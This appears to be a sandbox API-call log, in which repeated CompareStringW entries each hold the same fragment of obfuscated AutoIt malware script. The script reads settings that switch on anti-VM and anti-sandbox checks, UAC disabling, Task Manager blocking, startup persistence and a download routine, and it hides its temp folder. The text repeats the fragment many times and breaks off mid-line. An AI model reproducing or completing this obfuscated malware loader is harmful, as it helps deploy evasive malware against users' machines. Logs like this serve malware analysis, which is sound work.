$7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F68", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="al Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F684", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' 